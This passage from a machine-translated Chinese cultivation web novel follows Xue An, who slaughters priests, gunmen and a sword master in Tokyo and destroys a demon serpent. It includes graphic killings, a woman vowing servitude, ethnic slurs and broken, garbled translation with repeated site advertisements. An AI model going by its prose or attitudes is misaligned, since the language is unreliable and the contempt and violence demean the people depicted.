    "Are you surprised that I came back so soon?"


    Takeuchi Atom gritted his teeth and sneered: "Kyoko, how can you recover your sobriety? It''s really surprising, but do you think that there are three priests here, is it your turn to be presumptuous?"


    The three priests of Yaki Shrine were also taken aback, and then all their complexions changed drastically.


    Because they couldn''t detect any demon aura from Takeuchi Kiyoko.


    "What''s going on?" Masaki Tsuruoka, the priest of Yaki Shrine, stepped forward and asked in a deep voice.


    "It''s okay, it''s just your Lord Demon God who was killed by me!" With a calm voice, Xue An walked into the venue.

 Chapter 210： Casually cut the audience

    At the first word of this sentence, the Japanese was still very jerky, but it became more and more fluent afterwards. By the time of the last word, it was no different from the R countryman.


    This discovery also shocked Takeuchi Kiyoko.


    Could it be said that if the cultivation base is able to communicate with God, can you even learn Japanese so quickly?


    At this moment, the audience was quiet.


    Many people frowned slightly.


    Who is this guy?


    It looks like they are from Huaxia!


    Takeuchi Yo frowned and stepped forward to scold Takeuchi Kiyoko first.


    "What''s the matter with you? There is a grand gathering in the family today. What are you leading strangers to do?"


    Saying Takeuchi Yo raised his hand and hit.


    This is already a habit.


    For so many years, Kiyoko Takeuchi and her mother have been a punching bag at home.


    As a direct male, Takeuchi has a lofty status, and it is not once or twice to beat her.


    But today, he raised his hand and was about to do it. He felt a huge force hitting him. It blasted him a few dozen meters away. After smashing a few tables, he fell to the ground and fainted.


    This hand was shocking, shocking the audience.


    And Xue An shook his head, "It''s too weak to help the wind, I just flicked a finger and it actually flew!"


    Many people rushed up with an angry shout.


    Masao Takeuchi stopped these people, and then looked at Xue An coldly.


    "Chinese warrior?" Takeuchi Masao said coldly.


    Xue An smiled, "Do you also know Chinese warriors?"


    Masao Takeuchi sneered: "Not only do I know, but I also killed it myself! After all, what do you want to do here?"


    Xue An said slowly: "I don''t want to do anything. I just feel that you are too unfair to Kiyoko Takeuchi, so I want her to be the master of the house!"


    Masao Takeuchi was furious and looked at Kiyoko Takeuchi, "Kyoko, what do you want to do?"


    Kiyoko was a little nervous at first, but now she relaxes, and chuckles, "What are you doing? Of course, as the adult said, be the head of the Takeuchi family!"


    "You guys are looking for death!" Takeuchi was furious, and then rushed to the three priests: "This person has no eyes, please three take punishment!"


    The three priests also wanted to ask in detail what happened.


    Why did the spirit of the devil suddenly disappear from Kiyoko Takeuchi?


    Xue An said he was killed by him, but the three priests didn''t believe it at all.


    The three-person character came over.


    Masaki Tsuruoka raised his eyebrows and said coldly: "Your Excellency is good at martial arts, but you have never heard of it. No matter how tyrannical martial arts, are you afraid of magic monks?"


    Xue An shook his head, "I haven''t heard of it, but you can try it! See if I am afraid?"


    Xue An''s casual attitude angered the three.


    The three shouted angrily, and then a cloud of magical energy radiated.


    Everyone in the venue hid in awe.


    Takeuchi Atom sneered and said, "It seems that my sister is really reckless, and brought a Chinese warrior back, hum, the result is not the same?"


    Inoue took Atom Takeuchi''s shoulders and smiled slightly, "I knew she was stupid, so I asked you to marry me!"


    These words made Takeuchi''s face blue.


    This Inoue Xiong had pursued himself frantically, but as soon as he had an accident, he couldn''t wait to catch up with Takeuchi Atomi. Such humiliation made Kiyoko really unbearable.


    But she was also worried.


    After all, Xue An''s martial arts cultivation is tyrannical, but the three opponents are all priests who practice spells.


    "Shiki God appears!"


    As the three people shouted in unison.


    Three virtual shadows appeared in the venue.


    Many people exclaimed.


    "You can actually summon Shiki! The three priests of Yaki Shrine are really amazing!" Inoue''s eyes were full of excitement.


    "Go!" The three pointed at Xue An, and the three shikigami rushed at once.


    Shikigami is a unique technique of country R. To put it bluntly, it is cultivated with the spirit of a samurai or other things after death.


    The power is amazing.


    In particular, the three of Masaki Tsuruoka worshipped the Yaki Demon God, and this type of God also cultivated quite magical power.


    You can wait for the three Shijines to just rush to Xue An.


    Xue An''s eyes flashed, and he said softly: "Get out!"


    The three shikigami let out a miserable howl, and disappeared in smoke!


    Not only the three priests were dumbfounded.


    The others were also stunned.


    What is this trick?


    Can you drink Sanshi God with a word?


    Xue An smiled faintly at this time, "Is that enough?!"


    Speaking, Xue An said to the two daughters in his arms, "Close your eyes and lie in your father''s arms!"


    Xue Xiang and Xue Nian were lying in Xue An''s arms cleverly.


    Then Xue An showed a few white teeth and smiled sensibly, "Then it''s my turn now."


    After all, Xue An suddenly appeared among the three and waved casually.


    puff!


    Masaki Tsuruoka didn''t even have time to utter a scream, and it became a cloud of blood.


    Furuya was so frightened that he turned around and wanted to run.


    Xue An exhaled into a sword and slashed across directly, cutting off Gu Gu Yizhen''s head.


    Only Nakata Yuichi is left.


    At the moment, Yuichi Nakata was shaking like chaff.


    He finally believed what Xue An had just said, Lord Demon God was probably killed by this man!


    So when Xue An looked at him.


    Nakata''s leg softened and he knelt on the ground with a splash.


    "My lord, spare my life!"


    Xue An no longer paid attention to him, but looked at the pale-faced Takeuchi and others.


    "You...what else do you want to say?" Xue An said lightly.


    Takeuchi gritted his teeth at this time, "Kill him with a gun! I don''t believe that he could even dodge a gun!"


    The law and order of country R is pretty good, and there are only a few guns in the Hedao family like them.


    But after several gunmen came out with their guns, the momentum changed.


    Takeuchi sneered and said, "I admit that you are a warrior, but so what? Now is not the time when the samurai was rampant. No matter how good it is, can you still beat bullets?"


    Xue An said lightly: "Then you can try! See if I am afraid!"


    "Kill him!" Takeuchi gave the order.


    As a predator who has been riding for decades, he still has some decisive power.


    Although the use of guns will alarm many people, but at the moment they can''t care about so many!


    Bang bang bang.


    There was fire from the submachine gun and the pistol.


    And just under this situation.


    Xue An laughed.


    "So it''s just that!"


    With the voice appeared like a scene in a science fiction movie.


    I saw these bullets as if they had entered the glue, slower and slower, and finally stopped in the air.


    Then Xue An lightly shouted: "Go!"


    These bullets returned to their original path at a speed ten times faster than when they came!


    Puff puff!


    A dozen gunmen fell to the ground, and the bullet was so powerful that it didn''t stop until it penetrated the wall behind.


    This hand made Takeuchi finally feel terrified.


    Xue An walked over slowly.


    Every time he took a step, these people took a step back!


    At the end of the day, these people were all irresistible.


    Xue Ancai stopped and said lightly: "Now, I said let her be the master of the house, can you agree?"

 Chapter 211： The world is like a dream, but I am eternal

    Takeuchi Atom screamed, "No! Even if I die, I won''t agree to it!"


    Xue An nodded, "Well, then you go to death!"


    After saying this, Takeuchi Atom��s head burst open, and blood splashed around everyone.


    This kind of ghostly means makes everyone frightened.


    Inoue Xiu smiled tremblingly, "I...I agree!"


    Xue An turned to look at him.


    Inoue said flatteringly: "My lord cultivates a mastery, what you said is the emperor''s will, I naturally agree!"


    Then Inoue Xiu smiled at Kiyoko Takeuchi, "Kyoko..."


    Kiyoko Takeuchi, her face sinking like water, didn''t even look at him.


    Xue An nodded, "Very well, since you agree! Then..."


    Xue An waved his hand, and there was a thin bloodstain on Inoue Xiong''s throat, and blood rushed out. Inoue Xiu tightly covered his neck with his hand and looked at Xue An blankly.


    "Why... agree to kill?"


    Xue An said indifferently: "I asked who agreed, but if you don''t say yes, you don''t have to die!"


    There were a few rattles in Inoue''s throat, and he looked at Xue An angrily, then fell to the ground unwillingly, and died.


    Absolute silence.


    Many of the people present were big bosses who have been in Tokyo for many years, but Xue An killed two people in a row with every move, and he harvested his life without warning.


    These tactics made these big brothers frightened.


    Xue An looked around the audience again, "Now, who has an opinion?"


    At this moment, a man and a woman walked outside Takeuchi''s house.


    The man wears a sword with long sleeves and a fluttering robe.


    The female is only a teenager, and she follows behind her with admiration.


    After entering Takeuchi''s house, the man frowned suddenly, and his face gradually became serious.


    The woman said respectfully: "Master, what''s the matter?"


    The man said solemnly: "What a powerful murderous!"


    Then the man stepped across the entire courtyard, came directly to the door, and pushed in.


    His appearance made these R country bigwigs who had fallen into despair all overjoyed.


    Masao Takeuchi''s tears of excitement came down, and he shouted hoarsely: "Master Juggernaut, save us! This person is simply a devil!"


    Kiyoko Takeuchi''s complexion changed drastically, and her heart gradually sank.


    Because the man who came is the sword sage Qianshan Ichiba of the wise stream of R Guojing.


    R country kendo is divided into major genres, such as Beichen One-Sword Style, Two-Day First-Class, Jingxin Wisdom Style, Juhe Sword-Drawing Technique, and Shinto Wunian Style.


    The strongest among them is called the Juggernaut.


    The dojo of Kageshin Aichiru is in Tokyo, so this Chiyama Kazuha also received an invitation, and then came to Takeuchi''s house.


    Qianshan Yiye looked at Xue An, his expression gradually serious, "Chinese Warrior?"


    Xue An nodded and said lightly: "Who are you?"


    "My name is Qianshan Yiye. As a martial artist, why do you want to kill these ordinary people?" Qianshan Yiye said coldly.


    "Ordinary people?" A cold smile appeared on Xue An''s face.


    "Do you call these people ordinary people?"


    Qianshan''s leaf sank like water, because he really couldn''t understand Xue An''s details.


    The aura on this man was unremarkable, but his eyes were as deep as the sea.


    What is his cultivation base?


    A gleam of surprise flashed in Qianshan Yiye''s heart, and then he calmed down and said in a deep voice, "Even if they are people in the Taoist way, they don''t have to be like this? Isn''t the Hua Guo warrior so barbaric?"


    Xue An shook his head and chuckled, "As far as I am concerned, killing is only in one thought. It is useless to say more. Since you are known as the Juggernaut, you can stay today too!"


    After all, Xue Ansen smiled.


    The whole person suddenly appeared in front of Qianshan Yiye, without talking nonsense, and threw a punch.


    Qianshan Yiye was shocked, so fast.


    After Kancan avoided the punch, Qianshan Yiye changed his pace and stood in a very strange position.


    After standing still, his aura changed, and a murderous sword aura began to fill the whole room.


    This is the characteristic of Jingxin Zhiliu, who has extremely in-depth research on the pace, and claims to be able to kill every step.


    Xue An failed with a fist, but his face was not sad or happy, and said lightly: "Yes, come again!"


    After all, Xue An punched out again.


    Xue An did not use his own cultivation base at all, but only relied on physical strength to fight against this Qianshan Yiye, and even fought a match.


    At this time, Qianshan Yiye once again struggled to avoid Xue An''s punch, his face was extremely dignified, and he said softly: "Qianshan is cut with one sword!"


    A dazzling sword aura suddenly appeared.


    This sword is so gorgeous that people can''t help but be intoxicated by it.


    Takeuchi Masao and others were dazzled.


    The woman who followed Qianshan Yiye also showed a triumphant smile.


    In her opinion, no one can resist this dreamlike sword.


    But Xue An just looked up, then flicked his fingers.


    Snapped!


    This seemingly gorgeous sword was completely shattered.


    Qianshan Yiye stepped back, finally showing a look of horror on his face, then gritted his teeth and slowly pulled out the true body of the sword from his waist.


    Many people were moved by it.


    Even the woman couldn''t help being stunned.


    My master hasn''t drawn a sword for ten years.


    This time I was forced to draw out the real sword.


    Qianshan Yiye''s expression was solemn, "This sword is called Da Meng, you can force me to pull it out, it is enough to be proud of it!"


    Xue Ansen smiled and slowly raised his fist, "Come again!"


    After saying this, it was another punch.


    At this moment, Qianshan Yiye has both beards and eyebrows, and shouted: "Big dream!"


    The sword disappeared, and in the next instant it appeared behind Xue An and stabbed it suddenly.


    Kiyoko Takeuchi screamed in surprise, while Masao Takeuchi and others smiled sternly.


    Sure enough... Master Juggernaut won!


    But at this moment, the Great Dream Sword that had reached the back stalled.


    Xue An held his hand behind his back, clamped it with two fingers, and then applied a little force.


    Snapped!


    The sword shattered.


    Qianshan Yiye''s expression was shocked, and he took a few steps back.


    Xue An shook his head, "It''s a great fun, but unfortunately, you are still not strong enough!"


    After all, a great momentum suddenly radiated from Xue An.


    Qianshan Yiye is like Ye Xiaozhou in front of this momentum, and is in danger of overturning at any time.


    "How... how is it possible?" Takeuchi Masao and the others opened their eyes wide.


    Why is this man so strong?


    Qianshan Yiye''s complexion was extremely serious, and he suddenly pulled out a dagger from his arms and pierced the palm of his hand, and then a blood sword made of blood appeared in Qianshan Yiye''s hand.


    "Sword with blood!"


    The girl muttered to herself, her face pale.


    This is also the last killer move of Jingxin Zhiliu.


    But Xue An raised his eyes at this moment and smiled slightly.


    "Big dream? Haha, it''s interesting, but..."


    "The world is like a dream, but I am eternal."

 Chapter 212： Supremacy Megatron Tokyo

    With this sound, the blood sword in Qianshan Yiye''s hand was shattered.


    The supreme coercion made Qianshan Yiye too late to resist, and he was crushed into flesh.


    Juggernaut, die!


    The audience was silent.


    The female apprentice Chiba who came with Qianshan Ichiba was shaking all over.


    In her mind, Master is like a god, invincible.


    But who could have imagined that he died on the spot without being able to stand in front of this man for a minute.


    At this time, the cold sweat on Masao Takeuchi''s face was dripping down, when Xue An raised his head to look at him, he hurried forward a few steps and said very humblely.


    "My lord, I am willing to let Kiyoko be the head of the Takeuchi family."


    Xue An smiled and looked at Kiyoko Takeuchi, "He gave it to you!"


    Masao Takeuchi trembled, and said in horror, "My lord..."


    And Kiyoko Takeuchi walked over with a murderous look.


    "Qi... Kiyoko, I am also your father anyway, you..." Takeuchi Masao wanted to play the emotional card.


    As soon as he finished speaking, Kiyoko Takeuchi grabbed a dagger and pierced it into Takeuchi Masao''s chest, then gritted his teeth and said: "In your eyes, am I not as good as a dog or a pig?"


    He drew the dagger and stabbed it again.


    Puff puff.


    A few times later, Masao Takeuchi had been pierced into a sieve.


    However, Kiyoko Takeuchi was still puzzled, with red eyes still drawing his sword crazy and stabbing!


    Xue An frowned slightly, "Okay."


    Only then did Kiyoko Takeuchi let go, but tears had already wetted her cheeks, and then turned and knelt in front of Xue An.


    "My lord, Qingzi is willing to serve you as your servant for life!"


    Commitment to slavery.


    This is the highest respect a R country woman has to a man.


    Xue An smiled faintly, noncommittal.


    "These people..." Xue An glanced at the remaining people.


    All these people were silent, and quickly bent over and bowed.


    "Miss Kiyoko slashes the enemy, congratulations, and we wish the new Patriarch Takeuchi!"


    A smile appeared at the corner of Xue An''s mouth.


    It seems that there are still many smart people.


    Even if you are not smart, you will learn to be smart in the face of blood and death.


    There is one Takeuchi Hiro has not cleaned up.


    But when Kiyoko Takeuchi wanted to find him, he found that this Takeuchi Hiro no longer knew when he ran away.


    Only a large pool of blood was left on the ground.


    Kiyoko Takeuchi was a little worried, but Xue An smiled.


    Just run away, will you be related to the life and death of an ant?


    Then turned his head to look at Yuichi Nakata who was still kneeling on the ground and daring not to move.


    "My lord... forgive me! I..."


    Xue An stepped forward and stroked the top of his head, directly retrieving his soul and memory.


    The many images inside made Xue An frowned slightly.


    These three priests relied on the power of the Yaki Shrine and did a lot of anger and grievances.


    For example, kidnapping girls for living sacrifices.


    Therefore, he directly waved his hand and made all the dead bodies of these three people disappear.


    So far, this Yaki Shrine, which has existed in Tokyo for hundreds of years, has broken its heritage.


    That night.


    The Takeuchi family was destroyed, and the news of the murder of Kageshin Aichi, the sword sage Chiyama Ichiba, spread throughout Tokyo.


    Xue An''s supreme prestige shocked all Hedao families.


    Even the place that was once occupied by other families was quietly let out at this moment, and he didn''t dare to get involved anymore.


    And many people are whispering about Xue An''s origins, and they are infinitely curious about this mysterious and powerful man from China.


    Just when there was a lot of noise outside.


    Xue An is soaking in the hot spring.


    I have to say that the people of Takeuchi will enjoy it.


    He actually sculpted a hot spring in this Tokyo area.


    Originally, Xue An was thinking of having a mandarin duck bath with An Yan.


    But Anyan was thin-skinned and refused.


    Xue An had to enjoy the beauty of the hot spring by himself.


    At this moment, Kiyoko Takeuchi''s voice came from outside the door.


    "Master, there is news about what you asked me to investigate!"


    Since the first battle at the venue, Kiyoko Takeuchi must be called the master. Xue An corrected it several times, but Kiyoko Takeuchi refused to change his mouth, and Xue An just let it go.


    "Good!" Xue An replied.


    But Kiyoko Takeuchi opened the curtain and walked in.


    At this time, Kiyoko Takeuchi was wearing a maid costume with a short hem, showing long, slender, white legs.


    "Master, let me squeeze your shoulders!" Takeuchi Kiyoko whispered.


    Xue An''s complexion was indifferent and nodded slightly.


    Kiyoko Takeuchi walked to the side of the hot spring pool, knelt on the wooden board with her knees together, gently rubbing Xue An''s shoulders.


    Xue An narrowed his eyes slightly and said lightly: "What did you find?"


    Kiyoko Takeuchi''s heartbeat accelerated a little at this moment.


    Because she saw Xue An''s body in a hot spring wearing only a pair of shorts.


    Unlike those exaggerated figures after fitness, Xue An''s figure is extremely symmetrical.


    It can be said that if you lose one point you will lose weight, and you will get fatter if you add one point.


    And the complexion is fair.


    But just under this skin, there is almost explosive power.


    Those muscle lines are even more like a chisel carved out, full of shocking beauty.


    This kind of shock made Takeuchi Kiyoko, who was still a virgin, couldn''t help speeding up with a red face and red heart.


    Therefore, I forgot to tell Xue An about this.


    She didn''t wake up until Xue An asked, "Master, I just found a piece of news. It seems that there is a demon **** enshrined in the Yuntoi Mountain Tenichi Shrine in Saitama Prefecture. Someone has seen strange things, but this has been It''s all secrets, but there have been a lot more missing people near Yuntu Mountain in the past few years! I felt suspicious, so I came to tell the master!"


    Xue An nodded after listening, "Go out, I''ll put on clothes!"


    Kiyoko Takeuchi stopped the massage, and then said respectfully: "Master, let me wait on you to change clothes!"


    Xue An smiled, "No need!"


    "But as a slave, this must be done!" Takeuchi Kiyoko still insisted.


    Xue An shook his head, "I said it doesn''t have to be, I don''t have to!"


    Kiyoko Takeuchi nodded in disappointment and said, "Yes, master!"


    When Xue An got dressed and walked out, Kiyoko Takeuchi was still waiting outside.


    "Is there anything else?"


    Kiyoko Takeuchi lowered her head and whispered: "Master, the mistress has already taken the two young ladies to sleep, do you want me to wait for the bed?"


    Xue An was a little bit dumbfounded when he heard it, and waved his hand, "No need, you go!"


    Kiyoko Takeuchi looked up, with a look of panic on her face.


    "Master, my body is innocent, and I am definitely not a deceased person!"


    In such a night, a beautiful 28-year-old girl tells you that she is innocent and has to wait for bed.


    This temptation is simply unbearable for ordinary men.


    But Xue An is not an ordinary man He smiled faintly, "I said no or no, go on!"


    "Yes!" Kiyoko Takeuchi had no choice but to respond and turned and walked back.


    When she returned to her house, Kiyoko Takeuchi was a little depressed, and her mother Song Anzhen sighed.


    "Kyoko."


    "mother!"


    "As I said, this Mr. Xue is not an ordinary person, your method will not work!"


    "But... I''m afraid that the master will abandon me then!" Takeuchi Kiyoko said worriedly.


    "I can see that this Mr. Xue is a real big man. Since he helped you, he will definitely help to the end!" Song Anzhen said seriously.


    Kiyoko Takeuchi lowered his head, still faintly disappointed. Remember the website of this site, www. biquxu. Com, easy to read next time, or enter "" on Baidu to enter this site

 Chapter 213： Tian 1 Shrine

    Untorri Mountain is located at the junction of Tokyo and Saitama Prefecture, and is a scenic spot.


    Although Kiyoko Takeuchi repeatedly stated that he would follow along.


    But Xue An still refused.


    He wanted to take this opportunity to play with his wife and children.


    After getting out of the car and looking up at the towering mountains, the mood of the whole person will be much better.


    "Dad, this mountain is so high!" Xue Xiang said in surprise.


    "Dad, look at this mountain like ice cream!" Xue Nian thought of eating for the first time.


    Xue An couldn''t help laughing.


    This Yuntou Mountain is more than two thousand meters above sea level, and the top of the mountain is covered with snow all the year round, so it looks like a large ice cream now.


    An Yan asked nervously: "Husband, is the thing you said is right here?"


    Xue An nodded, "It shouldn''t be wrong! But this Baqi long worm is obviously very cunning, and it is impossible to detect it through spiritual thinking."


    An Yan nodded and put her hand in Xue An''s arms.


    The family went up the mountain and attracted the attention of many tourists along the way.


    But because the season is not right now, there are not many tourists here.


    In front of a small shop at the foot of the mountain, Xue An was buying ice cream for his two daughters.


    A gentle female voice said in Japanese: "Wow! What a kawaii little girl!"


    Xue An turned to look.


    I saw a man and a woman standing not far away.


    The woman with a delicate face was smiling and squatting down to greet Xue Xiang and Xue Nian.


    The two little girls are getting more and more beautiful now.


    The lethality can be said to eat all ages, few people can resist the cuteness of the two of them.


    What''s more, it is in the R country where the cute culture prevails.


    "Who is your sister, who is your sister!" The woman smiled softly.


    This is the standard opening remark.


    But Xue Xiang and Xue Nian were obviously a little impatient, their eyes were fixed on Xue An who was buying ice cream.


    But at this time, the man frowned, and then smiled at the woman flatly: "Miss Motobashi, let''s hurry as soon as possible, otherwise we won''t be able to reach the Tianyi Shrine in a while."


    At this time Xue An and An Yan came back with ice cream.


    The two little girls took the ice cream in surprise and began to feast on them.


    The woman stood up and said enviously: "Sir, you are so happy to have such two beautiful daughters!"


    Xue An was noncommittal, but just smiled faintly.


    "Get to know, my name is Mika Motohashi!" The woman stretched out her hand and laughed.


    Xue An didn''t stretch out his hand, but just nodded slightly, "I miss you, let''s go!"


    A look of surprise flashed across the woman''s face, as if she was a little surprised that Xue An didn''t recognize herself.


    The man next to him sneered, "It''s actually a Chinese!"


    Xue An frowned and turned to look at the man.


    "what did you say?"


    The man was startled, and then lowered his head to Mijia Motobashi and said, "The Chinese are the most uneducated, Miss Motobashi, let''s leave here as soon as possible!"


    Mika Motohashi frowned, "Yin Sang, it looks like you are also a Chinese! Why do you want to slander your home country so much?"


    Yin Huahui''s face became stiff when he was said to, and then he touched his head in a nonchalant manner, "I am not a Chinese. After all, I have already submitted my naturalization application and it has been approved. From now on, I will be a national R!"


    Xue An shook his head and chuckled, and then said to An Yan: "Have you seen it? This is the commonly known Erguizi, let''s go!"


    These two devils made Yin Huahui''s face suddenly extremely ugly, staring at Xue An, his eyes full of cruel expressions.


    But Xue An didn''t bother to pay attention to him, and led his wife and children to turn around and continue up the mountain.


    Mika Motohashi looked at Xue An''s back, with some curious eyes.


    At this moment, An Yan whispered to Xue An: "Husband, the woman just now seems to be a female star in country R!"


    Female star?


    Xue An suddenly wanted to crooked.


    "Is it the kind of movie star that can be performed by two or three people?" Xue An smirked.


    An Yan was startled at first, and then he realized that, blushing, he pinched Xue An''s waist.


    "Big villain, rogue!"


    "What am I rogue?" Xue An cried out.


    "Well...Anyway, what you think is very rascal!" An Yan said with a blushing face.


    Xue An leaned into An Yan''s ear and whispered, "Then how do you know what I''m talking about?"


    An Yan took a sip, "Bah, I''m serious with you. I have nothing to do in the house these days, so I have to watch TV all day long. It seems that this woman often appears on TV!"


    "The star is the star, what does it have to do with me?" Xue An said lightly.


    "Hey, yesterday... Did that Qingzi go to you?" This time An Yan whispered in Xue An''s ear.


    Xue An froze, then smiled bitterly: "My wife is here, I didn''t do anything!"


    "Hmph, forgive you for not dare!" An Yan pretended to be fierce, but after a while, he laughed.


    "I''m so angry, why am I not angry with you?"


    Xue An smiled, "No way, who makes me handsome? If you don''t believe me, think about it and miss it!"


    The two little girls who were immersed in ice cream, raised their heads after listening, said in unison: "Yes! Dad is the most handsome!"


    Xue An laughed, full of pride in his laughter.


    When Yin Huahui, who was walking not far behind them, heard the laughter, an ugly look flashed in his eyes.


    Tianyi Shrine is located on the halfway of Yuntoi Mountain.


    The environment here is quiet, the scenery is beautiful, and sometimes there is a lot of cloudy and fog floating in front of the door, which is even more immortal.


    When Xue An arrived, the gate of Tianyi Divine Palace was closed.


    There are no tourists in front of the door.


    Xue An didn''t rush in, but looked up at the terrain here.


    The person who chose to build the shrine here is obviously a person who is proficient in Chinese Fengshui. It is a good place to hide the wind and gather energy around.


    However, Xue An still sees the unusualness of this place from some subtle clues.


    For example, there is a faint resentment floating above the shrine.


    This is obviously caused by the grievances of someone dying.


    Xue An was looking at it, and Yin Huahui and Motobashi Mijia also came up.


    Yin Huahui greeted very graciously: "Miss Motobashi, I heard that the bell of a shrine is the most effective that day, please shake it!"


    Strings of wind chimes are often hung on the eaves outside R Kingdom Shrine, and there are rumors that shaking them can bring good luck.


    Mijia Motohashi nodded, but smiled at Xue An before moving forward to shake the wind chime.


    Yin Huahui looked at Xue An coldly, disdainful in his heart.


    I guess this guy doesn''t know this at all.


    And Xue An retracted his gaze at this time and smiled at his wife.


    "You stay here with thoughts and thoughts, I''ll call the door!" Remember the website of this site, www. biquxu. Com, easy to read next time, or enter "" on Baidu to enter this site

 Chapter 214： Devil

    Call the door?


    Yin Huahui couldn''t wait to laugh.


    Who doesn''t know that Tianyi Shrine has strict rules.


    Unless it is an important guest, the door is rarely opened in general.


    Do you have to wait outside without seeing Mika Motohashi?


    It''s probably a bun who doesn''t understand anything! Yin Huahui sneered and watched.


    He wanted to see if Xue An would make a fool of himself.


    At this time, Mika Motohashi also noticed that Xue An who walked to the door couldn''t help but smile.


    "Sir, Tianyi Shrine rarely opens the door, you still don''t call the door!"


    Xue An smiled at her, "Others say the door won''t open, but if I call it, it will definitely open!"


    "Oh? Why?" Mika Motohashi asked curiously.


    "Because..." Xue An pressed his hand on the heavy wooden door.


    "That''s what I call the door!"


    With the voice, this heavy wooden door suddenly shattered.


    The door opened.


    Xue An turned his head and looked at the dumbfounded Mijia Mombashi and Huahui Yin.


    "Look, isn''t it simple?"


    Mika Motohashi was speechless in shock.


    She never expected that this gentle-looking man would actually be so violent when he shot.


    And Yin Huahui sneered at this moment: "Okay, you''re done now, you dare to break the door of Tianyi Divine Palace! Hehe!"


    Yin Huahui gloated and watched.


    At this time, the priests in Tianyi Divine Palace heard the noise and rushed over.


    "Who did it?" a priest walking in front asked with a gloomy expression.


    Yin Huahui pointed at Xue An, "Master priest, this guy did it! You can''t let him go!"


    The priest looked at Xue An and frowned, "Your Excellency destroyed my mountain gate for no reason, what are you going to do?"


    Xue An has been looking at this priest, and when he heard his question, he smiled slightly, "Very well, it seems I did not find the wrong place."


    Xue An saw a very subtle devilish energy from this priest.


    "Your Excellency, what do you want to do?" The priest felt that Xue An''s eyes were a bit terrifying, and couldn''t help asking in a deep voice.


    Xue An waved his hand at his daughter, shielding the three of them, mother and daughter, and then took a step forward and came to the priest in an instant.


    Such a ghostly speed shocked everyone present.


    The priest was shocked, knowing that he was not good, and wanted to do it.


    Xue An stretched out his hand, pinched the tall priest, and slowly lifted it into the air.


    "You...what do you want to do?" The priest was shocked, because he found that all his skills were ineffective in front of this man, and he couldn''t use it at all.


    Xue An said indifferently: "Serving the devil, what do you say I want to do?"


    As soon as these words came out, a look of horror flashed across the curly purple face of the priest.


    "you����."


    Xue An smiled, "How do I know? Go to **** and ask!"


    There was a deep resentment on this priest, which showed that he did not do evil in normal times. Xue An used force to chop the neck of the priest.


    The dead body fell down, but then a phantom floated out and went straight into the shrine.


    Xue An said lightly: "Do you still want to go?"


    With a wave of your hand, the soul will be crushed!


    Then he turned his head and looked at the dumbfounded Motohashi Mika and Yin Huahui.


    "Now, do you know why I called the door?"


    Yin Huahui felt hot under his hips, and a warm current flowed down his legs, and then a strong smell of urine floated.


    Mijia Motohashi regained her consciousness, frowned in disgust, and moved away from Yin Huahui in silence, and then looked at Xue An''s back, who walked into the shrine with her head high, her eyes were full of shock.


    This man!


    Strong is terrible!


    The other priests of Tianyi Shrine were also alarmed.


    "Who!" With a loud shout.


    Countless men in black surrounded Xue An.


    Then the three priests in red walked out slowly, their auras as calm as a mountain, and they were obviously people of good cultivation.


    And Xue An also saw deeper demonic energy and resentment from them.


    "Who is your Excellency? Why do you come to my Tianyi Shrine to make a fortune?" the leading priest said coldly.


    Xue An slowly said: "Do you know the crime of serving the devil?"


    As soon as this word came out, everyone''s expression changed.


    The priest''s face changed uncertainly, and then he shouted in a deep voice: "Kill him"


    He was obviously not going to let Xue An go out alive.


    These men in black all rushed up.


    Xue An looked calm and stomped suddenly.


    boom!


    With him as the center, within a hundred meters, all the people in black were crushed to death by this foot.


    This move shocked the three priests.


    "San... Sanxian?"


    Xue An was too lazy to talk nonsense with these people, and rushed forward with two punches.


    Puff puff!


    Before the two priests had time to run, they were directly bombarded with nothingness.


    Then Xue An looked at the oldest priest.


    "Now, take me to the place where you worship the devil!"


    The priest trembled, then quickly nodded and said: "Yes!"


    On this day, the scale of Yi Jingong was very large, and there were usually many priests, but after Xue An''s killing just now, there were basically few people left.


    Waiting to come to a very hidden room behind.


    The priest reverently said: "My lord, this is it!"


    Xue An looked up and saw that the room was painted with all kinds of weird patterns.


    It was Fu Zhuan.


    No wonder it can''t be detected by Divine Mind.


    Xue An thought in his heart, took a step forward, and came to the door.


    At this time, a look of cruelty and rejoicing flashed across the face of the priest.


    As soon as the door is opened and the Demon God of Master Yaqi appears, then this man will undoubtedly die!


    Xue An''s hand pressed on the door and window, bang!


    These sturdy doors and windows shattered.


    Then a black air rushed straight into the sky.


    In the black energy, there are two snake heads entwined with each other, one of them said coldly.


    "Who is it? Dare to disturb my thousand-year sleep?"


    The priest was overjoyed and knelt on the ground and shouted: "Master Yaqi, help, this person kills my disciple, please quickly punish him!"


    Snakehead opened his eyes and looked at Xue An who was standing on the ground.


    "Er and other mortals, dare to disturb my devil''s sleep, I will put your soul into the flames of **** and burn it for ten thousand years!"


    In the roar, Xue An calmly drew out his ears, then shook his head, "It''s really noisy!"


    Then it soared into the sky and rushed to the two snake heads at a very fast speed.


    These are the two heads of the Yachi Orochi, and I don''t know when they were enshrined by the Tianyi Shrine.


    However, over the years, it is clear that a lot of murders have been created.


    Seeing Xue An rushed over the two snake heads, they opened their mouths, and a jet of black flame blew across their faces.


    But Xue An didn''t evade, just stretched out his hand to crush the seemingly fierce demon flame into nothingness.


    When the two snake heads were startled, Xue An had already arrived, pinched the two snake heads with both hands and gave a soft drink.


    "open!"


    The two snake heads howled miserably and were torn apart by Xue Ansheng.


    The two snake heads that have grown together since ancient times were actually torn apart by Xue An!


    The demon blood fell on the ground, and black flames rose.


    And this scene stunned the priest who thought Xue An would die.


    The devil is born!


    This... Is this still a human? Remember the website of this site, www. biquxu. Com, easy to read next time, or enter "" on Baidu to enter this site

 Chapter 215： All sins are turned to ashes

    Not just this priest.


    At this moment, the two Baqi snake heads were also terrified.


    They were also Thousand-Year Demon Gods anyway, and they were torn apart by this guy.


    What kind of cultivation is this?


    When did such a tyrannical person appear in this world?


    "You...who are you?" one of the snakeheads asked.


    Xue An didn''t speak, but just squeezed it casually.


    boom.


    The snake''s head was crushed to pieces and disappeared!


    Then Xue An looked at another snake head, "Now, can you tell me where are your other demons?"


    If this snake head has a body, it might be scared to pee.


    "The devil''s bodies are scattered all over Country R, ??and we can''t get in touch, please help me!" The snake''s head trembled.


    Xue Ancha found out that this seal was not their work.


    And Xue An also had some doubts.


    This Eight Qi Demon God is a low-level Demon God, although to this world, it is already a top-level existence, even more powerful than Jinxian.


    But in ancient times, these eight Qis were already torn apart, and the cultivation base of the remnant body was at best a loose fairy.


    Such a cultivation base, how can such a domineering seal be placed?


    However, despite the doubts in his heart, Xue An still felt that as long as all the eight monsters were found, the doubt would naturally be solved.


    "Said it is the same as not saying it!" Xue An said, and then crushed the snake head.

